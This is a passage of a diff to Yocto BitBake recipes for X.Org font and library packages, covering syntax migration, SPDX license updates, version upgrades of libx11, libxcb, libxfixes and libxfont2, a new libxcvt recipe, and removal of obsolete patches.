+++ b/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
@@ -3,20 +3,20 @@ SUMMARY = "X.Org font package creation/installation utilities"
require xorg-font-common.inc
#Unicode is MIT
-LICENSE = "BSD & MIT"
+LICENSE = "MIT & MIT & BSD-4-Clause & BSD-2-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=5df208ec65eb84ce5bb8d82d8f3b9675 \
file://ucs2any.c;endline=28;md5=8357dc567fc628bd12696f15b2a33bcb \
file://bdftruncate.c;endline=26;md5=4f82ffc101a1b165eae9c6998abff937 \
file://map-ISO8859-1;beginline=9;endline=23;md5=1cecb984063248f29ffe5c46f5c04f34"
DEPENDS = "encodings util-macros"
-DEPENDS_class-native = "util-macros-native"
-RDEPENDS_${PN} = "mkfontdir mkfontscale encodings"
-RDEPENDS_${PN}_class-native = ""
+DEPENDS:class-native = "util-macros-native"
+RDEPENDS:${PN} = "mkfontdir mkfontscale encodings"
+RDEPENDS:${PN}:class-native = ""
BBCLASSEXTEND = "native"
SRC_URI[md5sum] = "3d6adb76fdd072db8c8fae41b40855e8"
SRC_URI[sha256sum] = "3ad880444123ac06a7238546fa38a2a6ad7f7e0cc3614de7e103863616522282"
-SYSROOT_DIRS_BLACKLIST_remove = "${datadir}/fonts"
+SYSROOT_DIRS_IGNORE:remove = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/xorg-font/xorg-font-common.inc b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
index cdbebcf788..2df23efed4 100644
--- a/meta/recipes-graphics/xorg-font/xorg-font-common.inc
+++ b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
@@ -2,36 +2,34 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/fonts"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = " encodings font-alias font-util-native"
-RDEPENDS_${PN} = "encodings font-util font-alias"
+RDEPENDS:${PN} = "encodings font-util font-alias"
XORG_PN = "${BPN}"
-INC_PR = "r2"
-
SRC_URI = "${XORG_MIRROR}/individual/font/${XORG_PN}-${PV}.tar.bz2"
S = "${WORKDIR}/${XORG_PN}-${PV}"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# The mkfontscale-native requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
EXTRA_OEMAKE += "FCCACHE=/bin/true UTIL_DIR=${STAGING_DIR_TARGET}\$\(MAPFILES_PATH\)"
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/X11/fonts -type f -name fonts.dir | xargs rm -f
find ${D}${libdir}/X11/fonts -type f -name fonts.scale | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.dir | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.scale | xargs rm -f
}
-FILES_${PN} += " ${libdir}/X11/fonts ${datadir}"
+FILES:${PN} += " ${libdir}/X11/fonts ${datadir}"
PACKAGE_WRITE_DEPS += "mkfontdir-native mkfontscale-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
for fontdir in `find $D/usr/lib/X11/fonts -type d`; do
mkfontdir $fontdir
mkfontscale $fontdir
diff --git a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
index 9bcd1b2fa6..88f534ccf7 100644
--- a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
+++ b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
@@ -10,10 +10,14 @@ LIC_FILES_CHKSUM = "file://../misc/fonts.dir;md5=82a143d94d6a974aafe97132d2d519a
SRC_URI = "file://misc"
+SOURCE_DATE_EPOCH = "1613559011"
+
PE = "1"
-PR = "r2"
+PR = "r4"
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".1"
-inherit allarch distro_features_check
+inherit allarch features_check
# The font-alias requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
@@ -21,12 +25,14 @@ REQUIRED_DISTRO_FEATURES = "x11"
S = "${WORKDIR}/misc"
PACKAGES = "${PN}"
-FILES_${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
-RDEPENDS_${PN} += "font-alias"
+FILES:${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
+RDEPENDS:${PN} += "font-alias"
do_install() {
install -d ${D}/${datadir}/fonts/X11/misc
install -m 0644 ${S}/* ${D}/${datadir}/fonts/X11/misc/
+ # Pick a date/time as otherwise it would be the git checkout/modify time
+ touch -d @1613559011 ${D}/${datadir}/fonts/X11/misc/*
install -d ${D}/${libdir}/X11
ln -sf ${datadir}/fonts/X11/ ${D}/${libdir}/X11/fonts -s
}
diff --git a/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb b/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb
index 6a6316f320..44339eb27a 100644
--- a/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb
+++ b/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb
@@ -8,7 +8,7 @@ negotiating versions, and for reporting errors. "
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d162b1b3c6fa812da9d804dcf8584a93"
DEPENDS += "xorgproto xtrans"
diff --git a/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb b/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb
index b58cb80dc3..d55315efc2 100644
--- a/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb
+++ b/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb
@@ -11,7 +11,7 @@ SRC_URI += "\
SRC_URI[md5sum] = "b34e2cbdd6aa8f9cc3fa613fd401a6d6"
SRC_URI[sha256sum] = "214c9d0d884fdd7375ec8da8dcb91a8d3169f263294c9a90c575bf1938b9f489"
-LICENSE = "MIT & MIT-style"
+LICENSE = "MIT & MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=277aada5222b9a22fbf3471ff3687068"
REQUIRED_DISTRO_FEATURES = ""
diff --git a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
index ffa1c859d6..b398e8b626 100644
--- a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
@@ -13,7 +13,7 @@ SRC_URI[sha256sum] = "e4d05911a3165d3b18321cc067fdd2f023f06436e391c6a28dff618a78
inherit autotools
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb
index 49df690f0a..90917ef437 100644
--- a/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb
@@ -8,7 +8,7 @@ has a particular state."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=c0fb37f44e02bdbde80546024400728d"
DEPENDS += "libice xorgproto xtrans"
diff --git a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
index cabb84e686..b231f8b34d 100644
--- a/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
+++ b/meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb
@@ -8,13 +8,14 @@ python () {
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style & BSD"
+LICENSE = "MIT & MIT & BSD-1-Clause & HPND & HPND-sell-variant"
LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
SRC_URI[md5sum] = "c5fa5a86a20e3591bed6c046498d4b8f"
SRC_URI[sha256sum] = "b289a845c189e251e0e884cc0f9269bbe97c238df3741e854ec4c17c21e473d5"
-SRC_URI += "file://0001-Drop-x11-dependencies.patch"
+SRC_URI += "file://0001-Drop-x11-dependencies.patch \
+ "
XORG_PN = "libX11"
@@ -22,7 +23,7 @@ EXTRA_OECONF += "--disable-xkb"
PACKAGES = "${PN}"
-FILES_${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
+FILES:${PN} = "${datadir}/X11/locale ${libdir}/X11/locale"
do_compile() {
oe_runmake -C nls
diff --git a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch b/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
deleted file mode 100644
index 2a723b7e43..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 5235a7f3692a4c3c90dd4ac1be3c670388904bbe Mon Sep 17 00:00:00 2001
-From: Tatu Frisk <tatu.frisk@ge.com>
-Date: Tue, 14 Mar 2017 14:41:27 +0200
-Subject: [PATCH] Fix hanging issue in _XReply
-
-Assume event queue is empty if another thread is blocking waiting for event.
-
-If one thread was blocking waiting for an event and another thread sent a
-reply to the X server, both threads got blocked until an event was
-received.
-
-Upstream-Status: Submitted [https://patchwork.freedesktop.org/patch/171458/]
-
-This patch needs to be removed once the corresponding patch has been merged upstream.
-
-https://patchwork.freedesktop.org/patch/171458/
-
-Signed-off-by: Tatu Frisk <tatu.frisk@ge.com>
-Signed-off-by: Jose Alarcon <jose.alarcon@ge.com>
-
-[Refreshed for 1.6.7 update]
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
----
- src/xcb_io.c | 19 +++++++------------
- 1 file changed, 7 insertions(+), 12 deletions(-)
-
-Index: libX11-1.6.7/src/xcb_io.c
-===================================================================
---- libX11-1.6.7.orig/src/xcb_io.c
-+++ libX11-1.6.7/src/xcb_io.c
-@@ -620,18 +620,14 @@ Status _XReply(Display *dpy, xReply *rep
- if(dpy->xcb->event_owner == XlibOwnsEventQueue)
- {
- xcb_generic_reply_t *event;
-- /* If some thread is already waiting for events,
-- * it will get the first one. That thread must
-- * process that event before we can continue. */
-- /* FIXME: That event might be after this reply,
-- * and might never even come--or there might be
-- * multiple threads trying to get events. */
-- while(dpy->xcb->event_waiter)
-- { /* need braces around ConditionWait */
-- ConditionWait(dpy, dpy->xcb->event_notify);
-- }
-- while((event = poll_for_event(dpy, True)))
-- handle_response(dpy, event, True);
-+
-+ /* Assume event queue is empty if another thread is blocking
-+ * waiting for event. */
-+ if(!dpy->xcb->event_waiter)
-+ {
-+ while((event = poll_for_response(dpy)))
-+ handle_response(dpy, event, True);
-+ }
- }
-
- req->reply_waiter = 0;
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb b/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb
deleted file mode 100644
index 8c2a57c674..0000000000
--- a/meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "Xlib: C Language X Interface library"
-
-DESCRIPTION = "This package provides a client interface to the X Window \
-System, otherwise known as 'Xlib'. It provides a complete API for the \
-basic functions of the window system."
-
-require xorg-lib-common.inc
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/libx11:"
-
-PE = "1"
-
-SRC_URI += "file://Fix-hanging-issue-in-_XReply.patch \
- file://disable_tests.patch"
-
-SRC_URI[md5sum] = "55adbfb6d4370ecac5e70598c4e7eed2"
-SRC_URI[sha256sum] = "9cc7e8d000d6193fa5af580d50d689380b8287052270f5bb26a5fb6b58b2bed1"
-
-PROVIDES = "virtual/libx11"
-
-XORG_PN = "libX11"
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
-
-DEPENDS += "xorgproto xtrans libxcb"
-DEPENDS += "xorgproto-native"
-
-EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
-EXTRA_OEMAKE += 'CWARNFLAGS=""'
-
-PACKAGECONFIG ??= "xcms"
-PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
-
-# src/util/makekeys is built natively but needs -D_GNU_SOURCE defined.
-CPPFLAGS_FOR_BUILD += "-D_GNU_SOURCE"
-
-PACKAGES =+ "${PN}-xcb"
-
-inherit gettext
-
-FILES_${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
-FILES_${PN}-xcb += "${libdir}/libX11-xcb.so.*"
-FILES_${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb b/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb
new file mode 100644
index 0000000000..0c3abcd896
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Xlib: C Language X Interface library"
+
+DESCRIPTION = "This package provides a client interface to the X Window \
+System, otherwise known as 'Xlib'. It provides a complete API for the \
+basic functions of the window system."
+
+require xorg-lib-common.inc
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/libx11:"
+
+PE = "1"
+
+# temporarily override SRC_URI which is hard-coded in xorg-lib-common.inc
+# since new versions of packages use a new compression format - .tar.gz
+SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.xz"
+
+SRC_URI += "file://disable_tests.patch \
+ "
+SRC_URI[sha256sum] = "2ffd417266fb875028fdc0ef349694f63dbcd76d0b0cfacfb52e6151f4b60989"
+
+PROVIDES = "virtual/libx11"
+
+XORG_PN = "libX11"
+LICENSE = "MIT & MIT & BSD-1-Clause & HPND & HPND-sell-variant"
+LIC_FILES_CHKSUM = "file://COPYING;md5=172255dee66bb0151435b2d5d709fcf7"
+
+DEPENDS += "xorgproto \
+ xtrans \
+ libxcb \
+ xorgproto-native \
+ autoconf-archive \
+ "
+
+EXTRA_OECONF += "--with-keysymdefdir=${STAGING_INCDIR}/X11/ --disable-xf86bigfont"
+EXTRA_OEMAKE += 'CWARNFLAGS=""'
+
+PACKAGECONFIG ??= "xcms"
+PACKAGECONFIG[xcms] = "--enable-xcms,--disable-xcms"
+
+PACKAGES =+ "${PN}-xcb"
+
+inherit gettext
+
+FILES:${PN} += "${datadir}/X11/XKeysymDB ${datadir}/X11/XErrorDB ${datadir}/X11/Xcms.txt"
+FILES:${PN}-xcb += "${libdir}/libX11-xcb.so.*"
+FILES:${PN}-locale += "${datadir}/X11/locale ${libdir}/X11/locale"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb b/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb
index dcfc66652a..3fbc3a5b44 100644
--- a/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb
+++ b/meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb
@@ -8,7 +8,7 @@ require xorg-lib-common.inc
inherit gettext
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=7908e342491198401321cec1956807ec"
DEPENDS += " xorgproto"
diff --git a/meta/recipes-graphics/xorg-lib/libxcb/xcbincludedir.patch b/meta/recipes-graphics/xorg-lib/libxcb/xcbincludedir.patch
deleted file mode 100644
index 46297c33c3..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcb/xcbincludedir.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-As pkg-config --variable doesn't respect the sysroot, add the pkg-config sysroot
-to the beginning of variables that are used later on the host.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/configure.ac b/configure.ac
-index 94da4f7..d29cd6a 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -64,7 +64,7 @@ AC_SUBST(NEEDED)
-
- # Find the xcb-proto protocol descriptions
- AC_MSG_CHECKING(XCBPROTO_XCBINCLUDEDIR)
--XCBPROTO_XCBINCLUDEDIR=`$PKG_CONFIG --variable=xcbincludedir xcb-proto`
-+XCBPROTO_XCBINCLUDEDIR=$PKG_CONFIG_SYSROOT_DIR/`$PKG_CONFIG --variable=xcbincludedir xcb-proto`
- AC_MSG_RESULT($XCBPROTO_XCBINCLUDEDIR)
- AC_SUBST(XCBPROTO_XCBINCLUDEDIR)
-
-@@ -74,7 +74,7 @@ AC_SUBST(XCBPROTO_VERSION)
-
- # Find the xcbgen Python package
- AC_MSG_CHECKING(XCBPROTO_XCBPYTHONDIR)
--XCBPROTO_XCBPYTHONDIR=`$PKG_CONFIG --variable=pythondir xcb-proto`
-+XCBPROTO_XCBPYTHONDIR=$PKG_CONFIG_SYSROOT_DIR/`$PKG_CONFIG --variable=pythondir xcb-proto`
- AC_MSG_RESULT($XCBPROTO_XCBPYTHONDIR)
- AC_SUBST(XCBPROTO_XCBPYTHONDIR)
-
diff --git a/meta/recipes-graphics/xorg-lib/libxcb_1.13.1.bb b/meta/recipes-graphics/xorg-lib/libxcb_1.13.1.bb
deleted file mode 100644
index b0afc01dfd..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxcb_1.13.1.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "XCB: The X protocol C binding library"
-DESCRIPTION = "The X protocol C-language Binding (XCB) is a replacement \
-for Xlib featuring a small footprint, latency hiding, direct access to \
-the protocol, improved threading support, and extensibility."
-HOMEPAGE = "http://xcb.freedesktop.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
-SECTION = "x11/libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7"
-
-SRC_URI = "http://xcb.freedesktop.org/dist/libxcb-${PV}.tar.bz2 \
- file://xcbincludedir.patch \
- file://disable-check.patch \
- "
-
-SRC_URI[md5sum] = "f33cdfc67346f7217a9326c0d8679975"
-SRC_URI[sha256sum] = "a89fb7af7a11f43d2ce84a844a4b38df688c092bf4b67683aef179cdf2a647c4"
-
-BBCLASSEXTEND = "native nativesdk"
-
-DEPENDS = "xcb-proto xorgproto libxau libpthread-stubs libxdmcp"
-
-PACKAGES_DYNAMIC = "^libxcb-.*"
-
-FILES_${PN} = "${libdir}/libxcb.so.*"
-
-inherit autotools pkgconfig distro_features_check
-
-# The libxau and others requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-export PYTHON = "python3"
-
-python populate_packages_prepend () {
- do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', 'libxcb-%s', 'XCB library module for %s', allow_links=True)
-}
diff --git a/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb b/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
new file mode 100644
index 0000000000..5341bbd4bc
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcb_1.14.bb
@@ -0,0 +1,39 @@
+SUMMARY = "XCB: The X protocol C binding library"
+DESCRIPTION = "The X protocol C-language Binding (XCB) is a replacement \
+for Xlib featuring a small footprint, latency hiding, direct access to \
+the protocol, improved threading support, and extensibility."
+HOMEPAGE = "http://xcb.freedesktop.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
+SECTION = "x11/libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7"
+
+SRC_URI = "http://xcb.freedesktop.org/dist/libxcb-${PV}.tar.xz \
+ file://disable-check.patch \
+ "
+
+SRC_URI[sha256sum] = "a55ed6db98d43469801262d81dc2572ed124edc3db31059d4e9916eb9f844c34"
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS = "xcb-proto xorgproto libxau libpthread-stubs libxdmcp"
+
+PACKAGES_DYNAMIC = "^${PN}-.*"
+
+FILES:${PN} = "${libdir}/libxcb.so.*"
+
+inherit autotools pkgconfig features_check
+
+# The libxau and others requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+export PYTHON = "python3"
+
+do_install:append () {
+ chown root.root ${D}${datadir}/doc/${BPN}/tutorial -R
+}
+
+python populate_packages:prepend () {
+ do_split_packages(d, '${libdir}', r'^libxcb-(.*)\.so\..*$', '${PN}-%s', 'XCB library module for %s', allow_links=True)
+}
diff --git a/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb b/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb
index 3ef3ddb817..c07f31b92d 100644
--- a/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb
+++ b/meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb
@@ -11,7 +11,7 @@ compositing transformations through a client."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=3f2907aad541f6f226fbc58cc1b3cdf1"
DEPENDS += " xorgproto virtual/libx11 libxfixes libxext"
diff --git a/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb
index 2df7a3a4f2..f6794b6882 100644
--- a/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb
+++ b/meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb
@@ -8,7 +8,7 @@ size."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=8902e6643f7bcd7793b23dcd5d8031a4"
DEPENDS += "libxrender libxfixes"
diff --git a/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb
new file mode 100644
index 0000000000..134c40acd1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Library providing a standalone version of the X server \
+implementation of the VESA CVT standard timing modelines generator"
+HOMEPAGE = "https://gitlab.freedesktop.org/xorg/lib/libxcvt"
+BUGTRACKER = "https://gitlab.freedesktop.org/xorg/lib/libxcvt/-/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=129947a06984d6faa6f9a9788fa2a03f"
+SECTION = "x11/libs"
+
+SRC_URI = "git://gitlab.freedesktop.org/xorg/lib/libxcvt.git;protocol=https;branch=master"
+SRCREV = "6fe840b9295cfdc41bd734586c5b8756f6af6f9b"
+
+S = "${WORKDIR}/git"
+
+inherit meson
+
+FILES:${PN} = " \
+ ${libdir}/libxcvt.so.0* \
+ ${bindir}/cvt \
+"
diff --git a/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb b/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb
index d43a146fd7..92ec954df2 100644
--- a/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb
+++ b/meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb
@@ -10,7 +10,7 @@ require xorg-lib-common.inc
inherit gettext
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d559fb26e129626022e052a5e6e0e123"
DEPENDS += "xorgproto"
diff --git a/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb b/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb
index 9493111a67..a0ba54d184 100644
--- a/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb
@@ -10,7 +10,7 @@ extensions."
require xorg-lib-common.inc
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=879ce266785414bd1cbc3bc2f4d9d7c8"
DEPENDS += "xorgproto virtual/libx11"
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb b/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
deleted file mode 100644
index f0e2f606ce..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "XFixes: X Fixes extension library"
-
-DESCRIPTION = "X applications have often needed to work around various \
-shortcomings in the core X window system. This extension is designed to \
-provide the minimal server-side support necessary to eliminate problems \
-caused by these workarounds."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3c1ce42c334a6f5cccb0277556a053e0"
-
-DEPENDS += "virtual/libx11 xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXfixes"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "07e01e046a0215574f36a3aacb148be0"
-SRC_URI[sha256sum] = "de1cd33aff226e08cefd0e6759341c2c8e8c9faf8ce9ac6ec38d43e287b22ad6"
-
diff --git a/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb
new file mode 100644
index 0000000000..3a8543171e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "XFixes: X Fixes extension library"
+
+DESCRIPTION = "X applications have often needed to work around various \
+shortcomings in the core X window system. This extension is designed to \
+provide the minimal server-side support necessary to eliminate problems \
+caused by these workarounds."
+
+require xorg-lib-common.inc
+SRC_URI[sha256sum] = "a7c1a24da53e0b46cac5aea79094b4b2257321c621b258729bc3139149245b4c"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3c1ce42c334a6f5cccb0277556a053e0"
+
+DEPENDS += "virtual/libx11 xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXfixes"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
deleted file mode 100644
index 1c9cc0a21d..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "XFont2: X Font rasterisation library"
-
-DESCRIPTION = "libXfont2 provides various services for X servers, most \
-notably font selection and rasterisation (through external libraries \
-such as freetype)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
-
-DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
-
-XORG_PN = "libXfont2"
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "00516bed7ec1453d56974560379fff2f"
-SRC_URI[sha256sum] = "6d151b3368e5035efede4b6264c0fdc6662c1c99dbc2de425e3480cababc69e6"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb
new file mode 100644
index 0000000000..10e44c39ba
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb
@@ -0,0 +1,23 @@
+SUMMARY = "XFont2: X Font rasterisation library"
+
+DESCRIPTION = "libXfont2 provides various services for X servers, most \
+notably font selection and rasterisation (through external libraries \
+such as freetype)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT & BSD-4-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
+
+DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
+
+XORG_PN = "libXfont2"
+
+BBCLASSEXTEND = "native"
+
+SRC_URI[sha256sum] = "aa7c6f211cf7215c0ab4819ed893dc98034363d7b930b844bb43603c2e10b53e"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+CVE_PRODUCT = "libxfont libxfont2"
diff --git a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
index 94c6c66e87..27e686b087 100644
--- a/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
+++ b/meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb
@@ -6,7 +6,7 @@ such as freetype)."
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style & BSD"
+LICENSE = "MIT & MIT & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=a46c8040f2f737bcd0c435feb2ab1c2c"
DEPENDS += "freetype xtrans xorgproto libfontenc zlib"
diff --git a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb b/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
deleted file mode 100644
index 65bd9ae494..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb
